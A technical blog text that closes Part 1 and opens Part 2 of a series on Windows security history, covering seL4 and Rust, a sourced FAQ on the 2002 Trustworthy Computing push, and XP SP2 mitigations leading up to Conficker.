Mapping the article's thesis onto this frontier: Greshake et al. named the class (February 2023) the way Saltzer and Schroeder named the principles in 1975; Microsoft published the mitigation (Spotlighting, March 2024) with a measurable effect; Microsoft productized it (Azure Prompt Shields); NIST published the federal-supplier profile (SP 800-218A IPD, April 2024); and a real-world CVE with no vendor response demonstrates the cycle has not yet completed at industry scale. The 2002 pattern -- discipline, then authority, then mitigation, then productization, then federal-supplier mandate, then coordinated-disclosure norm -- is in progress for the AI/LLM frontier, and the reader can see exactly which steps remain.

Frontier 3: the formal-verification gap

The proof-of-correctness path has narrowed the gap between SOTA shipped code and the theoretical upper bound, but not closed it.

The canonical worked example is seL4: a formally verified microkernel, Klein et al., SOSP 2009 [@klein-sel4-sosp-2009]. The seL4 FAQ lists per-architecture kernel sizes for the verified configurations: roughly 10,000 source-lines-of-code on RISC-V 64, 12,100 on AArch32, 12,600 on AArch64 with hypervisor extensions, and 16,000 on x64 [@sel4-faq]. The proof-to-code ratio is approximately 20 to 1 -- twenty lines of Isabelle/HOL proof for every line of kernel C -- and the proof effort was approximately twenty person-years for the original 2009 verification [@klein-sel4-sosp-2009].

Why has seL4-class verification not scaled from a microkernel to a desktop OS? The barrier is compositional: each new feature requires re-proving every relevant invariant compositionally. The cost grows non-linearly with feature surface; even with two and a half decades of tooling improvement, no verified OS at desktop-Linux or Windows scale exists in production.

Microsoft's parallel path -- the one running today, not over the next twenty years -- is the introduction of memory-safe Rust into selected Windows components. David Weston's BlueHat IL 2023 talk gave the two named exemplars: the Win32k GDI region engine (~36,000 lines of Rust) and DWriteCore (~152,000 lines of Rust) [@weston-bluehat-il-2023].

Why does Rust help when seL4-style proof does not scale? Because Rust does not try to prove "the program is correct." It enforces a weaker but mechanically checkable property at the type-system level: no aliased mutable borrows, no use-after-free. That weaker property closes most of the bug class behind the 70% memory-safety figure, by construction, at compile time -- without any per-program proof effort.

That trade-off is the load-bearing engineering pattern of every secure-development framework since 2002. There is a name for it in the formal-methods literature, and a 1953 theorem behind it.

A mechanically checkable proxy property that closes the most common subset of an undecidable semantic property's bug class. Rice's theorem (Henry Rice, *Transactions of the AMS* 74, 1953) says any non-trivial semantic property of a Turing-recognizable program is undecidable -- you cannot, in general, write a checker that decides whether an arbitrary program has the property. The SDL's engineering workaround has always been to substitute a *decidable* property that catches the most common cases. `banned.h` substitutes "is this textual symbol present?" (trivially decidable, mechanically enforceable) for "is this string copy memory-safe?" (undecidable). C28719 is the descendant of that substitution that still release-gates Windows drivers in 2026 [@msft-c28719]. Rust's borrow-checker is the same trick at the language layer: it substitutes "is every borrow either exclusive or shared?" for "is the program memory-safe?", closing a much larger class of bugs by construction.

The unifying pattern across sections 7, 9, and 10:

Key idea: Rice's theorem says the question we want to answer is undecidable. The discipline that emerged from the 2002 Push said: substitute a question we can answer, make the substitution good enough, and gate releases on the substituted question. Every generation since -- banned.h, strsafe.h, C28719, the Rust borrow-checker, SLSA Build attestations -- has substituted a better question.

The series this article opens has five more parts -- beginning with Part 2 (2002-2008) -- each working a generation forward:

flowchart LR P1[Part 1: Wild West and TwC memo 1995-2002] --> P2[Part 2: XP SP2 DEP NX Windows Firewall WRP early ASLR Aug 2004] P2 --> P3[Part 3: Vista UAC MIC BitLocker PatchGuard driver signing Nov 2006] P3 --> P4[Part 4: Windows 7 to 10 AppContainer Credential Guard Device Guard 2009-2015] P4 --> P5[Part 5: Cloud era Azure AD Conditional Access Entra ID 2015-present] P5 --> P6[Part 6: Endpoint defenses HVCI VBS Pluton Rust in Windows 2018-2026]

Mandatory Integrity Control (MIC) is a Windows Vista (2006) feature, not an NT-era latent design. Vista introduced integrity levels (Low, Medium, High, System) and the integrity-level-tagged DACLs that make MIC work; UAC builds on top. Part 3 of this series will work the mechanism in detail.

For readers who want the mechanics rather than the history: this article is the institutional birth; the companion in-depth posts cover the primitives. The Windows access-control model post walks the SRM, DACLs, SACLs, and SIDs in operational detail; the DPAPI post covers the user-key derivation pipeline; the NT Kerberos post covers the LSA, the KDC, the TGT, and the ticket-granting flow; the smart cards post covers the certificate-bound credential path.

The story ends, but the wars do not. The institutional pattern the era forced is now twenty-five years old; the bug class that forced it is still ~70% of shipped CVEs. The next twenty-five years will repeat the operationalization pattern at progressively more abstract layers -- supply chain, machine-learning model, the developer's autonomous agent. The hard part has never been the technical question. The hard part is always the executive willingness to halt feature work to answer it.

11. Frequently Asked Questions

Every retelling of this era invites a predictable set of pushbacks. Address them head-on, so the article can end on wonder, not on quibble.

No, and the cost-and-mechanism evidence is the rebuttal. The Push was approximately ten weeks of paused feature work across ~8,500 Windows engineers at a total cost of ~$100 million in foregone feature work, and the methodology survived twenty-plus years as the published Microsoft SDL, ISO/IEC 27034, OWASP SAMM, BSIMM, NIST SSDF, SLSA, and CISA Secure by Design [@howard-lipner-push-2003] [@washtech-microsoft-100m] [@msft-sdl-practices] [@iso-27034-1] [@owasp-samm-model] [@bsimm-home] [@nist-ssdf-218] [@slsa-home] [@cisa-secure-by-design]. A PR move does not survive a fiscal-quarter reporting cycle, let alone two decades and a peer-reviewed primary-source accounting in IEEE *Security and Privacy* [@howard-lipner-push-2003]. Partly. OpenBSD's audit-driven engineering culture started in the summer of 1996, six years before the Windows Security Push; its "six to twelve" auditor team has been continuously active since [@openbsd-security]. The OpenBSD slogan -- "only two remote holes in the default install, in a heck of a long time" -- is real and earned [@openbsd-security]. The distinction is scale and incentive: OpenBSD's model worked for a small homogeneous codebase with self-selected auditors and a permissive-license, no-revenue context; the SDL's model was built for a fifty-thousand-person, hundred-million-line, quarterly-revenue context. Parallel paths, not competitors. No -- the eEye back-reference in their own August 4, 2001 Code Red II advisory points at advisory `AL20010717.html`, that is, **July 17, 2001**, for the original Code Red I discovery [@eeye-codered-ii]. CAIDA's measurement of the saturating Code Red v2 outbreak covers the **July 19, 2001** event with ~359,000 unique IPs in under fourteen hours [@caida-codered]. The defensible phrasings are "mid-July 2001" or "July 17, 2001" for Code Red I, and "July 19, 2001" for Code Red v2. No. ILOVEYOU was a **VBScript / Windows Script Host email worm**, executed by `wscript.exe` when the user double-clicked the `LOVE-LETTER-FOR-YOU.TXT.vbs` attachment in Outlook [@cert-ca-2000-04-iloveyou]. The "Concept / Melissa / ILOVEYOU" grouping in popular retellings conflates two distinct execution surfaces: Office macros (Concept, Melissa) and the Windows scripting host (ILOVEYOU). The classification matters because the fixes are different -- Office macro auto-execute is an Office configuration; WSH-by-default and the hidden double-extension display in Explorer were Windows shell decisions. No. The January 15, 2002 memo halted *Windows-division* feature work for the February-April 2002 Push, at the ~8,500-engineer scale Howard and Lipner document [@howard-lipner-push-2003]. The Office division, the .NET division, and the SQL Server division ran analogous pushes *serially* through 2002-2003, not simultaneously. The company-wide aggregate figure of "10,000 engineers" rolls those serial pushes together; the Windows-only number from the primary record is ~8,500 [@howard-lipner-push-2003] [@washtech-microsoft-100m]. Visual Studio .NET launched on schedule on February 13, 2002, after the December 2001 pre-launch security review the Gates memo names as the **template** for what the rest of the company was about to do [@gates-memo-wired]. Loren Kohnfelder and Praerit Garg, internal Microsoft memo "The Threats to Our Products," dated April 1, 1999 -- nearly three years before the Gates memo [@shostack-tm-book]. The memo is **no longer hosted on Microsoft's own web site**, but it has been publicly preserved at Adam Shostack's archive [@shostack-stride-memo-archive] (Shostack's landing page notes the document is no longer available on Microsoft's web site, "so we keep a copy here"), with an independent mirror at FIRST's CTI SIG curriculum [@first-stride-memo-mirror]. The chain-of-custody analysis is Shostack's *Threat Modeling: Designing for Security*, Wiley 2014 [@shostack-tm-book]. Microsoft's current Threat Modeling Tool is the operational descendant [@msft-threat-modeling-tool]. STRIDE's existence is the strongest single piece of evidence that the article's literal thesis ("Microsoft had no security team before January 15, 2002") needs the corrected reading in section 5 -- the methodology was *internal* by 1999; what was missing was the authority to require its use. No, and the article explicitly disclaims this reading. The underlying ideas -- Saltzer and Schroeder 1975, the Orange Book 1985, CERT/CC 1988, OpenBSD 1996, Schneier's Attack Trees December 1999, Kohnfelder and Garg's STRIDE April 1999, Howard and LeBlanc's *Writing Secure Code* November 2001 -- all predate it [@saltzer-schroeder-1975] [@tcsec-orange-book] [@openbsd-security] [@schneier-attack-trees-1999] [@shostack-tm-book] [@howard-leblanc-wsc]. What January 15, 2002 was, is the moment a fifty-thousand-person desktop-monopoly vendor first applied release-blocking executive authority to make secure development a non-negotiable engineering gate. The corrected reading -- **industrial-scale operationalization at a dominant vendor**, not the *invention* of the field -- is the only one the evidence supports. For readers who finish the article wanting to verify or extend the claims directly, the five most-useful primary sources cited throughout, by section:

Section 6 (the memo). Bill Gates, "Trustworthy computing" memo to "Microsoft and Subsidiaries: All FTE," sent Tuesday, January 15, 2002 5:22 PM Pacific. Wired's republication preserves the original mail headers verbatim [@gates-memo-wired]; the Help With Windows mirror preserves the same From: / Sent: / To: / Subject: block [@helpwithwindows-billg].
Section 7 (the Push). Michael Howard and Steve Lipner, "Inside the Windows Security Push," IEEE Security and Privacy 1(1):57-61, January-February 2003 [@howard-lipner-push-2003]. The primary-source paper for the approximately 8,500-engineer, approximately ten-week, approximately one-hundred-million-dollar, approximately 50% post-release-vulnerability-reduction numbers. DOI of record: 10.1109/MSECP.2003.1176996; IEEE Xplore is paywalled.
Section 4 (Code Red). David Moore, Colleen Shannon, Jeffery Brown, "Code-Red: a case study on the spread and victims of an Internet worm," CAIDA 2002 [@caida-codered]. The 359,000-host measurement.
Section 4 (Slammer). David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford, Nicholas Weaver, "The Spread of the Sapphire/Slammer Worm," CAIDA / ICSI / Silicon Defense / UCSD / UC Berkeley 2003 [@caida-slammer]. The 8.5-second-doubling, ten-minute-saturation, approximately 75,000-host primary.
Section 10 (formal verification). Gerwin Klein, Kevin Elphinstone, Gernot Heiser, et al., "seL4: Formal Verification of an OS Kernel," SOSP 2009 [@klein-sel4-sosp-2009]. The formal-verification anchor; project FAQ at [@sel4-faq].

One sentence to carry forward, restating the article's load-bearing observation in plain English: the breakthrough was organizational, not technical. Same checklists, different signoff power. That pattern -- "make existing methods mandatory, and gate releases on them" -- is what every secure-development framework on the industry shelf in 2026 has, in its own vocabulary, copied. The next twenty-five years will copy it at the supply-chain layer, the machine-learning-model layer, and the autonomous-agent layer; the pattern is what travels.

Eight Primitives, One Worm: The Windows Security Wars Part 2 (2002-2008)

noreply@paragmali.com (Parag Mali) — Fri, 29 May 2026 00:00:00 GMT

Between Bill Gates's January 15, 2002 Trustworthy Computing memo and Windows 7's October 22, 2009 general availability, Microsoft executed the largest single security re-architecture in Windows's history -- and shipped most of it inside Windows Vista, one of the most poorly received consumer Windows releases ever made.

This is the story of what that re-architecture built (UAC, Mandatory Integrity Control, UIPI, ASLR, mandatory x64 driver signing, Service Hardening, BitLocker, the Windows Filtering Platform, Windows Resource Protection, and -- inherited from an April 2005 x64-only release that Vista did not introduce -- Kernel Patch Protection), and what Vista broke for compatibility and goodwill along the way.

Then Conficker (late November 2008, twenty-nine days after the MS08-067 patch) proved that deployment velocity, not discovery latency, is the binding constraint on Internet security. Windows 7's polished re-release of substantially the same security architecture is the article's evidence that the user-hostility tax is payable -- if the work is done.

1. The Patch Was Already a Month Old

On Thursday, October 23, 2008, the Microsoft Security Response Center shipped MS08-067 out of band -- not on the next Patch Tuesday, because the analysts who triaged the bug believed a wormable exploit was weeks away, not months [@s-ms08-067]. They were right about the direction and wrong about the calendar. Roughly twenty-nine days later, anchored to November 20, 2008 in SRI International's technical analysis, Conficker.A began walking the IPv4 address space on TCP/445 [@s-sri-conficker-c-addendum]. Within four months the worm had infected somewhere between nine and fifteen million machines on a vulnerability whose patch had existed the entire time [@s-cwg-lessons-learned-2019].

The October 23, 2008 Microsoft Security Bulletin patching CVE-2008-4250, a stack buffer overflow in the path-handling code reachable through the Server service's `srvsvc` RPC interface on TCP/445 (and TCP/139 in NetBT environments). The bulletin text warns the vulnerability "could be used in the crafting of a wormable exploit" -- a prediction that Conficker.A confirmed twenty-nine days later [@s-ms08-067]. A Microsoft security update released outside the regular monthly Patch Tuesday cadence (the second Tuesday of the month). Microsoft reserves out-of-band releases for vulnerabilities whose risk profile -- active exploitation, imminent worm potential, or critical pre-authentication remote code execution -- does not survive the wait until the next monthly bulletin window [@s-msft-secupdates-index].

This article is the story of what Microsoft built between January 15, 2002 (the Trustworthy Computing memo) and October 22, 2009 (Windows 7 general availability), the architectural and cultural costs of that build, and the operational lesson Conficker forced everyone to acknowledge.

The architectural defenses that Trustworthy Computing produced -- Data Execution Prevention, Address Space Layout Randomization, the Windows Firewall on by default, Service Hardening, the integrity-level stack -- could only protect machines that ran the new code. The installed base did not run the new code. Server 2003 and Windows XP were still the working majority on TCP/445-reachable subnets in late 2008, and Vista's DEP and ASLR materially raised exploitation cost on Vista without raising it on the systems the worm actually walked.

Confusing the October-2008 in-the-wild MS08-067 exploitation with Conficker is the most common single error in retellings of this period. The NVD entry for CVE-2008-4250 is explicit: the October-2008 in-the-wild exploitation was Gimmiv.A, a narrower non-self-propagating Trojan, not Conficker [@s-nvd-cve-2008-4250]. Conficker.A first appeared on the Internet on November 20, 2008 per SRI International [@s-sri-conficker-c-addendum].

sequenceDiagram autonumber participant MSRC as Microsoft Security Response Center participant SRV as Server service over TCP/445 participant VISTA as Vista with DEP and ASLR participant XP as XP and Server 2003 installed base participant CONF as Conficker.A MSRC->>SRV: Oct 23, 2008 out-of-band MS08-067 patch Note over MSRC,SRV: Bulletin warns "wormable exploit" possible SRV-->>XP: Patch must propagate via Automatic Updates or WSUS SRV-->>VISTA: Patch applied, DEP and ASLR raise exploit cost Note over XP,VISTA: Late October, in-the-wild Gimmiv.A Trojan uses CVE-2008-4250 narrowly CONF->>XP: Nov 20, 2008 Conficker.A scans TCP/445 across IPv4 Note over CONF,XP: Unpatched XP and Server 2003 are the dominant targets XP-->>CONF: Successful exploitation, lateral spread, DGA callback Note over CONF,XP: Jan to Apr 2009, 9 to 15 million infections worldwide

By the end of the article you will be able to name every XP SP2 and Vista mitigation, the attack class it broke, the compatibility cost it imposed, and which Windows release inherited or smoothed it. You will know why the most important Trustworthy Computing lesson was not architectural at all -- it was operational.

Key idea: The patch existed the entire time. Deployment did not. Every Trustworthy Computing mitigation in this article is a partial answer to the question "what reaches the installed base on time?" Conficker is the era's answer to the question "what does not?"

How did we get from the Code Red era to a Trustworthy-Computing world where a wormable RCE could still infect millions? Start with one memo and a stand-down.

2. Where Part 1 Left Off

On the morning of January 16, 2002, the engineers who worked on Windows came back to work and could not check in code. Bill Gates's memo had gone out the previous afternoon and reading it took about eleven minutes. The order in the building was the simple part: stop everything, sit through retraining, do not commit until you can argue your changes against a threat model.

The slower part was naming what had just happened. It was not a campaign. It was a directive that quietly changed the unit of work at Microsoft from "ship the feature" to "ship the feature you can prove will not get someone exploited."

The memo itself was the institutional charter for everything in this article. It opened in plain prose -- "Every few years I have sent out a memo talking about the highest priority for the company" -- and arrived at its load-bearing sentence in the fifth sentence of the first paragraph: "Trustworthy Computing is the highest priority for all the work we are doing" [@s-gates-twc-wired]. The line read in 2002 as a corporate goal-setting exercise. In retrospect it read as a contract.

The Wired and CNET reproductions of the memo carry the same body but differ on the timestamp in the "Sent:" header. Wired records "Sent: Tuesday, January 15, 2002 5:22 PM" [@s-gates-twc-wired]; CNET's parallel reproduction shows "Sent: Tuesday, January 15, 2002 2:22 PM" [@s-gates-twc-cnet]. The three-hour delta is the Eastern-vs-Pacific wall-clock difference, consistent with Wired having an Eastern copy and CNET reproducing a Pacific one. The article renders the send time as "2:22 PM Pacific / 5:22 PM Eastern."

Trustworthy Computing is the highest priority for all the work we are doing. -- Bill Gates, internal Microsoft memo, January 15, 2002 [@s-gates-twc-wired]

The next two months turned the memo into engineering. From roughly February through March 2002, Microsoft ran the Windows security stand-down: approximately 8,500 Windows engineers were pulled off feature work to read Howard and LeBlanc's Writing Secure Code, 2nd edition (Microsoft Press, 2002) [@s-howard-leblanc-wsc2e] and to be retrained on threat modeling, input validation, integer-overflow defense, secure default selection, and the privilege-reduction patterns the book named explicitly. Three Microsoft Press security titles served as the canonical training corpus for the next several years; Writing Secure Code 2e was the one that lived on every desk.

But the stand-down was a one-time event. The thing that had to outlast it was the process. The Trustworthy Computing Security Development Lifecycle, formally adopted as a mandatory company-wide engineering process in 2004 and described at the Annual Computer Security Applications Conference that December, is the right pivot to point to.

The canonical paper, Lipner and Howard's "The Trustworthy Computing Security Development Lifecycle," ran in the ACSAC 2004 proceedings [@s-lipner-howard-acsac2004-doi]; the IEEE Xplore PDF is paywalled in 2026, so the 2006 Microsoft Press book The Security Development Lifecycle is the cite-when-possible substitute [@s-howard-lipner-sdl-book]. The SDL is what made every later Windows release feasible: each new version's threat model, security design review, fuzzing budget, and security push had a name and a sign-off list.

Microsoft's formal process specification for security engineering across the product lifecycle. The SDL mandates threat modeling, secure design review, security training, banned-API enforcement, fuzzing, attack-surface review, and a final security push before any product ships. Mandatory company-wide at Microsoft starting in 2004; the definitive ACSAC 2004 paper is the formal record [@s-lipner-howard-acsac2004-doi], and the 2006 Microsoft Press book is the publicly accessible canonical reference [@s-howard-lipner-sdl-book].

The two-and-a-half years between the memo and XP Service Pack 2 were not quiet. MS03-026 in July 2003 led to Blaster three weeks later [@s-msft-ms03-026]; MS03-039 in August 2003 led to Welchia [@s-msft-ms03-039]; MS04-011 in April 2004 led to Sasser [@s-msft-ms04-011]. Each worm was, by the standards of late 2003, a public referendum on whether the "patch fast" model could work for an installed base of hundreds of millions of machines whose users never opened Windows Update. The pattern is worth a small table.

Date	Event	Why it mattered
Jan 15, 2002	Gates Trustworthy Computing memo	Institutional charter for the next eight years of Windows security work
Feb-Mar 2002	Windows security stand-down	About 8,500 engineers retrained on secure-coding patterns
Jul 16, 2003	MS03-026 patches DCOM RPC	Patch ships about three weeks before Blaster (Aug 11)
Aug 11, 2003	Blaster worm	Patched RPC vulnerability exploited in the wild; deployment lag obvious
Aug 2003	Welchia "good worm"	Nematode-style attempt to push the patch; spreads exactly as fast as Blaster
Apr 13, 2004	MS04-011 patches LSASS	Patch ships about two weeks before Sasser
Apr 30, 2004	Sasser worm	Hits ATMs, banks, airlines; the second wormable post-patch event in a year
Dec 2004	SDL formalised at ACSAC	Process becomes a paper; mandatory across Microsoft engineering

What Microsoft was about to ship in August 2004 was not a service pack. It was a feature release with a service-pack number on it -- and it would prove that the right unit of analysis for OS-level security is not the mitigation itself but the deployment threshold the default reaches.

3. Why XP SP2 Was Treated as a Major OS Release

By the end of 2003 the SP1-era model had collapsed. The bulletin cadence was monthly; the patch was per-CVE; the deployment mechanism was opt-in; and Blaster and Sasser had both shipped while that model was running [@s-msft-secupdates-index]. None of the four design decisions individually was unreasonable. Together they had produced a Windows world in which a worm could outrun a patch by weeks, sometimes months, and the only thing standing between a Class B subnet and an exploitation rate close to 100% was whether enough users had clicked "Install."

Microsoft's response was a year-long slip. XP Service Pack 2, internally codenamed "Springboard," moved from a planned H2 2003 release to August 6, 2004, and along the way it was upgraded from "service pack" to "feature release with a service-pack number on it."

The bundle that shipped that day did five things that no prior Windows release had ever done in a single update. The Windows Firewall arrived on by default and active during the boot sequence, closing the Blaster-window race condition. Data Execution Prevention shipped with default-on policy for Windows binaries.

The Attachment Execution Service became the system-wide enforcement substrate of the Zone.Identifier NTFS Alternate Data Stream. Internet Explorer 6 SP2 got a pop-up blocker on by default plus an ActiveX opt-in framework and a Local Machine Zone lockdown. Security Center became the first centralized Control Panel surface that aggregated firewall, Automatic Updates, and antivirus state into a single place a non-technical user could understand.

James Forshaw's Project Zero retrospective on Windows network access is blunt about how thin the pre-SP2 firewall story was [@s-forshaw-projectzero-wfp]. The Internet Connection Firewall in XP RTM was technically present, but it was off by default, scoped to the Internet-facing interface, and the first thing most OEM imaging scripts disabled.

Prior to XP SP2 Windows didn't have a built-in firewall, and you would typically install a third-party firewall such as ZoneAlarm. -- James Forshaw, Google Project Zero [@s-forshaw-projectzero-wfp]

The conceptual move underneath SP2 is the one that matters for the rest of the article. Microsoft did not invent a single new mitigation in SP2. Software firewalls, NX-style memory protection, file-provenance tagging, pop-up blockers, and centralized policy notifications all existed somewhere already in 2003 -- in third-party products, in PaX on Linux, in OpenBSD, in academic research. What SP2 did was take those mitigations off the customer's optional configuration menu and put them in the default install.

A security control whose default configuration on a freshly installed or upgraded system is "active," not "available to be enabled." On-by-default mitigations reach approximately the entire installed base of a release; opt-in mitigations reach approximately the small fraction of users who actively configure them. The asymmetry is roughly two orders of magnitude in deployment reach, which is the engineering reason XP SP2 was treated as a re-release rather than as a service pack [@s-forshaw-projectzero-wfp].

The "5%/95%" framing is shorthand for the on-by-default-vs-opt-in asymmetry -- a two-orders-of-magnitude reach gap [@s-forshaw-projectzero-wfp] that motivated default-on Firewall, default-on DEP for system binaries, default-on Automatic Updates, and default-on UAC.

Here is the SP2 bundle as a table. The third column is the load-bearing one: every default-on choice in SP2 came with a real compatibility cost, and the article's later sections are partly the story of those costs being paid down.

SP2 mitigation	Attack class broken	Compatibility cost
Windows Firewall on by default	Worm-style unauthenticated TCP/445, TCP/135 RPC	Apps binding listening ports without firewall exception manifest
Data Execution Prevention	Stack and heap shellcode execution	First-generation JITs that wrote executable code into RW pages
AES + Zone.Identifier ADS	Outlook and IE auto-launch of attachments	Legitimate self-extracting installers from network shares
IE6 SP2 hardening	Drive-by ActiveX install, pop-up ad layers, MIME confusion	Line-of-business intranet ActiveX apps; legacy webmail pop-ups
Security Center	Status invisibility for non-technical users	Third-party AV vendors objected to display of competing status

Key idea: Once the 5%/95% threshold becomes the unit of analysis, the question changes. The question is no longer "what is the best mitigation we could ship?" It is "what mitigation will the user not turn off?" Every Vista feature in the next chapter is an answer to that question -- and every Vista feature that broke compatibility is the price the answer cost.

XP SP2 reached the broad public via Automatic Updates by late August 2004. By the end of the year Microsoft had pushed the largest single security update in the operating system's history onto roughly the entire XP installed base. The five mitigations that landed that day deserve their own catalogue.

4. The XP SP2 Mitigation Catalogue

XP SP2 shipped on August 6, 2004 and reached the broad public via Automatic Updates by late August. The five mitigations below are not equally famous, but they are equally load-bearing for what came next in Vista. Each subsection opens with what the mitigation broke (the attack class) and ends with what it broke (the compatibility cost).

4.1 Windows Firewall on by default

Pre-SP2, XP had something called the Internet Connection Firewall. It was off by default; it bound only to the interface flagged as the Internet connection during setup; and any application that wanted a listening port could simply listen on a different interface and never trigger it. The Blaster window -- the moment between a fresh XP installing on a network and Automatic Updates pulling MS03-026 -- was open for as long as DHCP plus the first reboot took, which on a 2003-era cable modem was about ninety seconds. Welchia exploited the same window in reverse.

The fix in SP2 was structural. The renamed Windows Firewall came on by default on every interface, was active during the boot sequence (before user-mode services finished initialising), and ran during a brief boot-time stateful inspection window before the regular policy engine took over [@s-forshaw-projectzero-wfp].

What this broke for compatibility: every legitimate application that bound a listening port without registering a firewall exception manifest. Domain join, the older SMB RPC paths, and a long list of corporate management tools needed exception entries pushed via Group Policy before they would work on freshly joined SP2 machines. The forward link is to Vista's Windows Filtering Platform in section 6.6, which gave third-party firewalls and IDS/IPS vendors a supported extension surface instead of forcing them to keep hooking NDIS.

4.2 Data Execution Prevention

Data Execution Prevention is the Windows trade name for refusing to execute instructions from pages marked as data. Hardware-enforced DEP uses the AMD NX bit ("No-eXecute") or the Intel XD bit ("eXecute Disable"), both shipped in commodity x86 silicon by 2004 -- the AMD64 Athlon 64 launched with the NX bit on September 23, 2003 [@s-wp-athlon-64], and Intel followed with XD on the Prescott Pentium 4 stepping in mid-2004.

Software-enforced DEP on CPUs without the bit relied on SafeSEH-based exception-handler validation, which closed the most common shellcode-staging pattern of the era (overwrite a saved exception handler on the stack, trigger an exception, jump into shellcode) without actually marking pages non-executable [@s-msft-sehop-kb956607]. SP2 introduced four configurations -- OptIn, OptOut, AlwaysOn, AlwaysOff -- selectable via boot.ini and later via BCD; the default on consumer XP was OptIn (system DLLs only) [@s-windows-internals-5e].

A defense that refuses to fetch and execute instructions from memory pages whose protection bits mark them as non-executable. Hardware-enforced DEP uses the NX page-table bit on x86 / x64 silicon (AMD's branding) or the XD bit (Intel's branding). Software-enforced DEP without the page bit relies on safe exception handlers (SafeSEH) to close the dominant stack-overflow exploitation pattern [@s-msft-sehop-kb956607]. Shipped in XP SP2 in August 2004 and refined repeatedly through Windows 10 [@s-windows-internals-5e]. A single bit in an x86 / x64 page table entry that, when set, instructs the CPU to fault on an instruction fetch from that page. AMD's name is NX (No-eXecute) and shipped first in 2003 on the Opteron; Intel's equivalent is XD (eXecute Disable). The bit is the hardware substrate for DEP and for the W^X (Write XOR Execute) memory policy that OpenBSD and PaX had pioneered earlier in the decade [@s-pax-aslr-live, @s-openbsd-3-4-wayback].

The academic prior art is older than DEP by six years. Crispin Cowan's StackGuard paper at the 7th USENIX Security Symposium in January 1998 [@s-cowan-stackguard] introduced the canary-based stack-overflow detector that the Visual C++ /GS flag adopted in 2002 with Visual Studio .NET [@s-msft-gs-buffer-security-check, @s-wp-vs] and that DEP complemented rather than replaced. On the Linux side, the PaX project had shipped W^X plus mmap-base randomization in 2003 [@s-pax-aslr-live, @s-pax-docs-index]. OpenBSD 3.4, released on November 1, 2003, was the first general-purpose operating system to ship integrated W^X plus library-load-order randomization default-on [@s-openbsd-3-4-wayback]. Vista's ASLR three years later was, by mainstream-OS standards, late.

The DEP-versus-JIT compatibility breakage is the canonical "good security default that breaks shipping software" story of the SP2 era. JavaScript engines, Java, .NET, and Flash all generated executable code into RW pages at runtime and ran headlong into DEP's first-generation policy. The modern fix is the explicit VirtualProtect transition (RW into RX and back) that every JIT now uses, but the engineering took years to converge across vendors. The next pass through the same problem -- W^X enforced by CPU mode in Apple silicon -- finally made the explicit-transition pattern a first-class API.

4.3 Attachment Execution Service and the Zone.Identifier ADS

This is the subsection that most retellings of XP SP2 get backwards. The Mark-of-the-Web -- the HTML comment of the form  that Internet Explorer reads on a saved web page to decide which security zone to apply -- did not ship with SP2. It shipped two years earlier in Internet Explorer 6 Service Pack 1 in 2002.

What SP2 added is the Attachment Execution Service: the system-wide enforcement substrate that, when a file arrives via Outlook, Outlook Express, Internet Explorer, Windows Messenger, or any caller of the IAttachmentExecute shell API [@s-msft-iattachmentexecute], writes a Zone.Identifier NTFS Alternate Data Stream tagging the file with its originating security zone.

The XP SP2 shell service that, on attachment download from a recognised zone-aware caller (Outlook, IE, Messenger, the `IAttachmentExecute` API [@s-msft-iattachmentexecute]), writes a `Zone.Identifier` NTFS Alternate Data Stream tagging the file with its originating zone (Internet, Restricted, Trusted, Local Intranet). AES is the system-wide enforcement substrate that materialised the existing Mark-of-the-Web concept into a persistent file-system record the Shell consults at execute time. Substrate, not ancestor. An NTFS Alternate Data Stream named `Zone.Identifier`, attached to a file by the Attachment Execution Service or its callers. The ADS body is a small INI file with a `[ZoneTransfer]` section whose `ZoneId` value (3 for Internet, 4 for Restricted, 2 for Trusted, 1 for Local Intranet, 0 for Local Machine) the Shell reads on execute attempts. The ADS persists with the file across copies on NTFS volumes; copying to FAT32 or onto a non-NTFS share strips it -- which is why USB sticks and consumer file-sharing services have historically been laundering paths for web-originated executables.

{ // Illustrative parser. The real call is to CreateFileW on a path of // the form "C:\\\\downloads\\\\foo.exe:Zone.Identifier", reading the // resulting stream as a tiny INI file. const adsContent = [ "[ZoneTransfer]", "ZoneId=3", "ReferrerUrl=example.com/", "HostUrl=example.com/downloads/foo.exe", ].join("\\n"); const zoneNames = { 0: "Local Machine", 1: "Local Intranet", 2: "Trusted", 3: "Internet", 4: "Restricted" }; const lines = adsContent.split("\\n"); const kv = Object.fromEntries( lines.filter(l => l.includes("=")).map(l => l.split("="))); const zone = parseInt(kv.ZoneId, 10); console.log(\File originated from zone ${zone} (${zoneNames[zone]})`); console.log(`Referrer: ${kv.ReferrerUrl}`); `}

The architectural property the substrate produces is the one downstream tools cannot live without. Office Protected View opens with restricted privileges precisely when the document's Zone.Identifier reports Internet origin. SmartScreen warns on first execute of any binary whose ADS says Internet. Microsoft Defender Application Control treats Zone.Identifier as a first-class file attribute in its policy language. None of those tools would work the way they do if AES had not made the zone tag a persistent file-system property in 2004.

4.4 Internet Explorer 6 SP2 hardening

The IE6 SP2 hardening pass is the largest browser security delta in any service-pack-era Windows update before or since. The pop-up blocker on by default plus the Information Bar gave the browser a way to defer execution of script-launched popups behind an explicit user click. MIME-handling lockdown closed the MIME-sniffing attacks the Outlook MHTML class had enabled (an attacker could serve a binary as Content-Type: text/plain and have IE sniff and execute it anyway).

The Local Machine Zone lockdown blocked script execution from the LMZ by default for IE-rendered documents, closing the cross-zone elevation path that several earlier IE vulnerabilities had taught attackers to chain through mhtml: and file:// URL tricks. The ActiveX opt-in framework required user confirmation before any controls were installed from the Internet. The compatibility cost was real and immediate: legitimate ActiveX line-of-business intranet apps, legacy webmail pop-ups, and corporate intranet portals all required exemption configuration before they would keep working as before.

4.5 Security Center

Security Center is easy to underestimate because its UI looked like a Control Panel applet. It was the first centralised surface that aggregated three previously invisible state signals -- firewall status, Automatic Updates status, antivirus status (presence, definitions currency, real-time protection enabled) -- into a single interface a non-technical user could read.

The balloon-tip notification UI surfaced negative states aggressively; the visible degradation was the entire point. The third-party AV vendors -- Symantec and McAfee in particular -- objected publicly to Microsoft's display of competing status, and the resulting friction previewed the 2009 European Union agreement that constrained Microsoft's default-bundled-AV options for the rest of the era.

Three of these five mitigations made it into Vista substantially unchanged. Two of them -- the firewall and the ADS-based zone tagging -- were re-architected because Vista's threat model went past the application-on-the-network and into the application-on-the-desktop. To see why, we have to leave XP behind and walk year by year through what happened next.

5. Year by Year, 2005 Through 2009

